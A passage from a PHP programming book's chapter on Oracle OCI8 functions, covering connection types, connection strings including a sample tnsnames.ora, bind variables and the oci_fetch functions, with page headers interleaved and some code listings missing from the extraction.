Retrieving Select Result Set Columns The sqlite_column() function is useful if you’re interested in just a single column from a given result row or set. Its prototype follows: mixed sqlite_column(resource result, mixed index_or_name [, bool decode_binary]) You can retrieve the column either by name or by index offset. Finally, the optional decode_binary parameter determines whether PHP will decode the binary-encoded target data that had been previously encoded using the function sqlite_escape_string(). This function is introduced in the later section “Working with Binary Data.” For example, suppose you retrieved all rows from the employee table. Using this function, you could selectively poll columns, like so: The call to oci_connect() establishes the connection to the database. In all future database requests, you use the variable $conn to reference the established connection. You also have three different options for specifying the target database in your connection request; we’ll cover these options after reviewing the connection types. Finally, you’ll most likely want to know how to close a connection, so we’ll tell you how, as well as what happens behind the scenes.
Connecting to the Database The call oci_connect() in Listing 32-1 establishes a standard connection. The other two types of connections are unique connections and persistent connections. We show you the differences between these connection types in the following sections.
Standard Connections You use oci_connect() to create a standard connection. Within a PHP script, if you call oci_connect() more than once with the same username and database name, you get a pointer to the same connection. This helps to minimize the number of required dedicated connections on the Oracle server; even if you are using a connection pooler, this method reduces the resource load on the server. Here is the syntax for a standard connection: oci_connect($username, $password, $databasename); The question you may ask is, “Isn’t that a poor programming practice to open the same database connection in multiple places in your PHP script?” This is true in general, but your PHP script, for example, may request multiple database resources after prompting the user for more than one username and password. As a result, you may call oci_connect() in more than one place in your script. If the database name and username are the same, oci_connect() will automatically use the same pointer, saving resources and the additional time it takes to establish another database connection.
Unique Connections In contrast to oci_connect(), you use oci_new_connect() to create a unique connection; it will always request a new database connection. This method is useful in situations where you want to perform database operations independently from other database operations; for example, one connection may be processing transactions using table inserts, updates, and deletes while the other connection may be performing report queries. The transaction processing connection may commit or roll back the transaction with no effect on the report query connection; using the same connection for both types of connections may produce inconsistent results for the report query. The syntax for oci_new_connect() is as follows: oci_new_connect($username, $password, $databasename);
Gilmore_Bryla_770-2C32.fm Page 567 Tuesday, July 24, 2007 2:31 PM
C HA PT ER 3 2 ■ P H P ’S ORA CL E FUNC T IO NA LI T Y
Persistent Connections In contrast to oci_connect() and oci_new_connect(), you can use oci_pconnect() to create a persistent connection. Persistent connections do not automatically close at the end of a PHP script. Other scripts initiated from the same Web server or middleware server user session are free to use the connection as well as another invocation of the script that originally created the connection. The syntax for oci_pconnect() is as follows: oci_pconnect($username, $password, $databasename); You can also set limits on the number of active persistent connections, as well as automatically expire persistent connections after a period of time by defining variables in the file php.ini. To change the number of persistent connections to 20, use oci8.max_persistent in php.ini: oci8.max_persistent=20 A value of -1 (the default) places no limits on the number of persistent connections. Similarly, to set a time-out value of 100 seconds for persistent connections, use oci8.persistent_timeout: oci8.persistent_timeout=100
Database Connection Strings There are three different types of connection strings: easy connect, database alias, and full database connection. A connection string is a set of one or more parameters that define the database name, server, network protocol, and port number of the database you wish to connect to. The type of connection string you use depends on whether you have Oracle Net configuration files already in place on your server and whether you want to specify some of the more advanced connection parameters.
Using Easy Connect Strings As the name implies, the easy connect string is the easiest to use; in most cases, all you need to specify is the username, password, and a connection string that may look familiar if you use JDBC to access a database from a Java application. The syntax of an easy connect string is as follows: [//]hostname[:port][/service_name] If you are accessing a database on the same host computer as your Web server, you can use localhost for the hostname parameter; otherwise, you use the hostname you see in your /etc/hosts file on Linux. You can also get the hostname of your computer by using the uname –n command. The port parameter defaults to 1521, which is the default port for any Oracle installation. This parameter may not be 1521 when you have more than one database on your host computer. Similarly, the service_name parameter defaults to the name of the only database installed on the host computer, which in the case of Oracle Database XE is XE. As a result, the oci_connect() call in Listing 32-1 can be further abbreviated as oci_connect('system', 'yourpassword', 'localhost') since the leading // is optional as well.
Using a Database Alias for Connection Strings If you have a tnsnames.ora file on your client, or use Oracle Internet Directory (OID) in your environment (OID is beyond the scope of this book), you can use an alias for your service_name parameter that you store in tnsnames.ora or OID. In Listing 32-2, you see a sample tnsnames.ora file with a total of seven connections: three from the default Oracle Database XE installation, and four others added
567
Gilmore_Bryla_770-2C32.fm Page 568 Tuesday, July 24, 2007 2:31 PM
568
CH APT ER 32 ■ PH P’ S O RAC LE F UNC TI ON ALI TY
to connect to a remote Oracle Database 10g Real Applications Cluster (RAC) database. For a Linux installation of Oracle Database XE, you can find the file tnsnames.ora in $ORACLE_HOME/network/admin. Listing 32-2. Sample tnsnames.ora File XE = (DESCRIPTION = (ADDRESS = (PROTOCOL = TCP)(HOST = ath4800)(PORT = 1521)) (CONNECT_DATA = (SERVER = DEDICATED) (SERVICE_NAME = XE) ) ) EXTPROC_CONNECTION_DATA = (DESCRIPTION = (ADDRESS_LIST = (ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC_FOR_XE)) ) (CONNECT_DATA = (SID = PLSExtProc) (PRESENTATION = RO) ) ) ORACLR_CONNECTION_DATA = (DESCRIPTION = (ADDRESS_LIST = (ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC_FOR_XE)) ) (CONNECT_DATA = (SID = CLRExtProc) (PRESENTATION = RO) ) ) RACI2 = (DESCRIPTION = (ADDRESS_LIST = (ADDRESS = (PROTOCOL = TCP)(HOST = voc2i.sample.com)(PORT = 1521)) ) (CONNECT_DATA = (SERVER = DEDICATED) (SERVICE_NAME = raci.world) (INSTANCE_NAME = raci2) ) ) RACI1 = (DESCRIPTION = (ADDRESS_LIST = (ADDRESS = (PROTOCOL = TCP)(HOST = voc1i.sample.com)(PORT = 1521)) )
Gilmore_Bryla_770-2C32.fm Page 569 Tuesday, July 24, 2007 2:31 PM
C HA PT ER 3 2 ■ P H P ’S ORA CL E FUNC T IO NA LI T Y
(CONNECT_DATA = (SERVER = DEDICATED) (SERVICE_NAME = raci.world) (INSTANCE_NAME = raci1) ) ) RACI = (DESCRIPTION = (ADDRESS_LIST = (ADDRESS = (PROTOCOL = TCP)(HOST = voc1i.sample.com)(PORT = 1521)) (ADDRESS = (PROTOCOL = TCP)(HOST = voc2i.sample.com)(PORT = 1521)) (LOAD_BALANCE = yes) ) (CONNECT_DATA = (SERVER = DEDICATED) (SERVICE_NAME = raci.world) ) ) RACSVC = (DESCRIPTION = (ADDRESS_LIST = (ADDRESS = (PROTOCOL = TCP)(HOST = voc1i.sample.com)(PORT = 1521)) (ADDRESS = (PROTOCOL = TCP)(HOST = voc2i.sample.com)(PORT = 1521)) (LOAD_BALANCE = yes) ) (CONNECT_DATA = (SERVER = DEDICATED) (SERVICE_NAME = raci.world) (FAILOVER_MODE = (TYPE = SELECT) (METHOD = BASIC) (RETRIES = 180) (DELAY = 5) ) ) ) If the host machine running PHP is using the tnsnames.ora file in Listing 32-2, this PHP code will connect to the database as well: oci_connect('system', 'yourpassword', 'xe'); If your PHP application will connect to the RAC database on the server sample.com, you could connect using any one of these four connect requests using tnsnames.ora entries: oci_connect('hr', oci_connect('hr', oci_connect('hr', oci_connect('hr',
'hr', 'hr', 'hr', 'hr',
'racsvc'); 'raci'); 'raci1'); 'raci2');
Which one you use depends on your failover and application requirements. These are the same alias names you can use in SQL*Plus or SQL command line; as with the oci_connect call, SQL*Plus defaults to XE (Oracle Database XE) if you are running SQL*Plus on the same host machine as the database.
569
Gilmore_Bryla_770-2C32.fm Page 570 Tuesday, July 24, 2007 2:31 PM
570
CH APT ER 32 ■ PH P’ S O RAC LE F UNC TI ON ALI TY
Using Full Database Connection Strings If you do not have a tnsnames.ora file on your host machine, and you want to connect to Oracle Database XE on a remote machine, you can use the same connection information you would use in a tnsnames.ora file. In this PHP code snippet, you connect to an XE database on the server sample2.com: $dbci = ' (DESCRIPTION = (ADDRESS = (PROTOCOL = TCP)(HOST = sample2.com)(PORT = 1521)) (CONNECT_DATA = (SERVER = DEDICATED) (SERVICE_NAME = XE) ) ) '; $conn = oci_connect('hr', 'hr', $dbci); This syntax gives you the flexibility to specify many other network settings not available with the easy connect string syntax.
Disconnecting from the Database If you use oci_connect() or oci_new_connect(), the database connection is automatically closed when your PHP script terminates. If you want to close the connection early and free up unneeded resources, you can explicitly close connections using oci_close() as follows: $rc = oci_close($conn); The variable $rc returns TRUE if the connection exists and is closed successfully, and FALSE otherwise. In contrast, oci_close() won’t close a connection opened with oci_pconnect(); idle connections opened with oci_pconnect() can be set to expire. You can expire persistent connections using the php.ini parameter oci8.persistent_timeout described earlier in this chapter in the section “Persistent Connections.”
Retrieving and Modifying Data In the following sections, we give you the basics of using SQL SELECT statements as well as the other DML commands INSERT, UPDATE, and DELETE. Now that you already know how to perform SELECT and DML commands at the SQL*Plus prompt, we’ll show you how to perform them using PHP OCI8 calls. Here are the five steps that OCI8 uses to process a SQL statement: Parse: Prepare the statement for execution. Oracle checks for syntactic correctness, whether the objects referenced in the statement exist and are accessible. If there is a syntax error or some other problem, Oracle does not return an error code in this step; you receive the error code in the execute phase. Bind: Bind data values to variables in the SQL statement, usually for performance or security reasons. Define: Specify the PHP variables to store the results; this is rarely used, and the preferred method uses the ..._fetch_...() functions.
Gilmore_Bryla_770-2C32.fm Page 571 Tuesday, July 24, 2007 2:31 PM
C HA PT ER 3 2 ■ P H P ’S ORA CL E FUNC T IO NA LI T Y
Execute: Send the SQL command to Oracle for processing and buffer the results. Fetch: Retrieve results from the database using calls such as oci_fetch_array(). Some of these steps are optional. For example, if you are not using bind variables, you will not need a bind step. In addition, you use the fetch step with a SELECT statement but not an INSERT statement because the fetch step retrieves rows from a table, and an INSERT statement does not. We define these phases further in the following sections along with the PHP OCI8 functions you use to perform each of these steps.
Preparing, Binding, and Executing Statements Before you can run a query against your Oracle database, you must first parse the query. You use oci_parse() to prepare the query; oci_bind_by_name() to optionally bind PHP variables to SQL variables; and then oci_execute() to run the query.
oci_parse() You parse a query by making a call to oci_parse, with a syntax as follows: resource oci_parse ( resource connection, string query ) After you establish a connection to the database, you use oci_parse() to prepare the SQL statement for execution and very basic validations such as correctly quoted strings. Determining the existence of the referenced objects and verifying that the syntax of the query is correct and whether the user has the privileges to access the objects in the SQL statement doesn’t occur until the execution phase.
oci_bind_by_name() Binding a variable is simply a variable substitution at run time. In other words, your SQL text contains a placeholder, and you substitute an actual value for the placeholder using oci_bind_by_name with this syntax: bool oci_bind_by_name ( resource statement, string query, mixed variable, [, int maxlength [, int type]]) Binding variables in OCI8 has two distinct advantages: security and performance. Using bound variables prevents SQL injection attacks. Your PHP code has control over the SQL statement executed by ensuring that user input maps to constants in the WHERE clause rather than column names in the SELECT clause, for example. Performance of subsequent executions of SQL statements with bind variables is improved because the parse phase only needs to occur once. You bind values to variables in the SQL statement for variable names preceded by a colon. We’ll show you an example after we introduce oci_execute(). You use the optional maxlength parameter to provide a maximum length for a value returned from PL/SQL procedures and functions; otherwise, maxlength defaults to the current length of the bound PHP variable. You use the other optional parameter, type, for abstract datatypes such as LOBs (large objects).
oci_execute() The oci_execute() function submits the SQL statement to Oracle for execution. You fetch the results of the query using one of the many ..._fetch_...() functions we present in the following sections. Here is the syntax: bool oci_execute ( resource statement [, int mode] )
571
Gilmore_Bryla_770-2C32.fm Page 572 Tuesday, July 24, 2007 2:31 PM
572
CH APT ER 32 ■ PH P’ S O RAC LE F UNC TI ON ALI TY
In a default installation of Oracle Database XE, you get several sample schemas for training and testing and that highlight various Oracle features. The HR schema’s table LOCATIONS contains a list of the cities and countries where the company does business; here is a list of the columns in the LOCATIONS table: SQL> describe locations Name ------------------------------LOCATION_ID STREET_ADDRESS POSTAL_CODE CITY STATE_PROVINCE COUNTRY_ID
Null? Type -------- ----------------NOT NULL NUMBER(4) VARCHAR2(40) VARCHAR2(12) NOT NULL VARCHAR2(30) VARCHAR2(25) CHAR(2)
In this example, we’ll check the HR user's LOCATIONS table for cities whose name begins with B or S, and give you a sneak peek at the oci_fetch_array() function in Listing 32-3. Listing 32-3. Retrieving City and Province Information from the LOCATIONS Table Here is the output you see from executing this script: Cities beginning with B% Beijing, Bern, BE Bombay, Maharashtra
Cities beginning with S%
Gilmore_Bryla_770-2C32.fm Page 573 Tuesday, July 24, 2007 2:31 PM
C HA PT ER 3 2 ■ P H P ’S ORA CL E FUNC T IO NA LI T Y
Sao Paulo, Sao Paulo Seattle, Washington Singapore, South Brunswick, New Jersey Southlake, Texas Stretford, Manchester Sydney, New South Wales The percent sign, %, is a wildcard character that matches zero or more occurrences of any character. In this example, S% would even match a city name of S, however unlikely it is that there is a city with that name. Notice that we did not have to execute oci_parse() more than once.
Retrieving Table Rows If you have any background in SQL, you already know that the SELECT statement retrieves rows from a table. This section introduces many of the functions that you will (or at least should) become most familiar with when using the Oracle OCI8 PHP extension because these functions play an important role in retrieving the data returned from a SELECT query. All OCI8 functions are very thoroughly documented in the PHP OCI8 Reference Manual at http://php.net/manual/en/ref.oci8.php. In this section, we give you a brief overview of each key function and show you a few different ways to use these functions to retrieve rows from the database.
oci_fetch_array() The oci_fetch_array() function retrieves each row of the statement as an associative array, a numerically indexed array, or both. Here is the syntax: array oci_fetch_array (resource statement [,int result_type]) By default, it retrieves both arrays; you can modify this default behavior by passing one of the following values in as the result_type: OCI_ASSOC: Returns the row as an associative array, with the key represented by the field name and the value by the field contents. Using this option is equivalent to using oci_fetch_assoc(). OCI_NUM: Returns the row as a numerically indexed array, with the ordering determined by the ordering of the field names as specified within the array. If an asterisk is used (signaling the query to retrieve all fields), the ordering will correspond to the field ordering in the table definition. Designating this option results in oci_fetch_array() operating in the same fashion as oci_fetch_row(). OCI_BOTH: Returns the row as both an associative and a numerically indexed array. Therefore, each field could be referred to in terms of its index offset and its field name. This is the default behavior. OCI_RETURN_NULLS: Creates empty elements for columns with NULL values. OCI_RETURN_LOBS: Returns the value of a LOB instead of just the pointer. Note that you can combine these constants to specify more than one option: $res = oci_fetch_array($s, OCI_ASSOC + OCI_RETURN_NULLS); The example in Listing 32-3 uses oci_fetch_array() without the second parameter so defaults to OCI_BOTH. Therefore, the echo statement will produce the same results if you use a numeric index for each column value:
573
Gilmore_Bryla_770-2C32.fm Page 574 Tuesday, July 24, 2007 2:31 PM
574
CH APT ER 32 ■ PH P’ S O RAC LE F UNC TI ON ALI TY
echo $res[0] . ', ' . $res[1] . ""; The type of array you use depends on your programming style. If you always return both types of arrays, your script’s memory requirements are a bit higher but in practice shouldn’t require a server memory upgrade.
oci_fetch_assoc() This function oci_fetch_assoc() operates identically to oci_fetch_array() when OCI_ASSOC is passed in as the result_type parameter; here is the syntax: array oci_fetch_assoc (resource statement)
oci_fetch_row() This function operates identically to oci_fetch_array() when OCI_NUM is passed in as the result_type parameter. Here is the syntax: array oci_fetch_row (resource statement)
oci_fetch_object() This function also returns rows from an Oracle table just like oci_fetch_array(), except that an object is returned rather than an array. The syntax is as follows: object oci_fetch_object (resource statement) Consider the following revision to the example in Listing 32-3 to oci_fetch_array(): Notice that the object references use uppercase for the Oracle column names; $res->city does not exist. Unless you create the table with lowercase column names enclosed in double quotes, all Oracle column names are uppercase. The output of this example is identical to the output of the example in Listing 32-3. The difference in memory requirements and execution speed is insignificant; your programming style and coding requirements dictate which form of oci_fetch_... you use.
oci_fetch_all() As the name implies, oci_fetch_all() retrieves all the rows from a database query at once; here is the syntax:
Gilmore_Bryla_770-2C32.fm Page 575 Tuesday, July 24, 2007 2:31 PM
C HA PT ER 3 2 ■ P H P ’S ORA CL E FUNC T IO NA LI T Y
int oci_fetch_all ( resource statement, array &output [, int skip [, int maxrows [, int flags]]] ) This form of oci_fetch_... can be useful in an environment where you have enough memory to hold the entire results of the query and you need to have the entire result set available before you can perform an aggregate operation for your users, for example. The optional parameters skip and maxrows define the number of rows to skip and the total number of rows to return, respectively. The flags parameter can contain OCI_NUM and OCI_ASSOC just as oci_fetch_array() does.
Inserting Rows Inserting data into the database is carried out very much in the same fashion as retrieving information, except that the query often contains variable data. Following an example is the best way to learn this process. Suppose that your company’s inventory specialist requires a means for inserting new product information from anywhere. Not surprisingly, the most efficient way to do so is to provide him with a Web interface. Figure 32-1 depicts this Web form for which the source code, called insert_location.php, is provided in Listing 32-4 with a new location ready to insert into the database.
Figure 32-1. The location insertion form Listing 32-4. Location Insertion Form Code (insert_location.php)
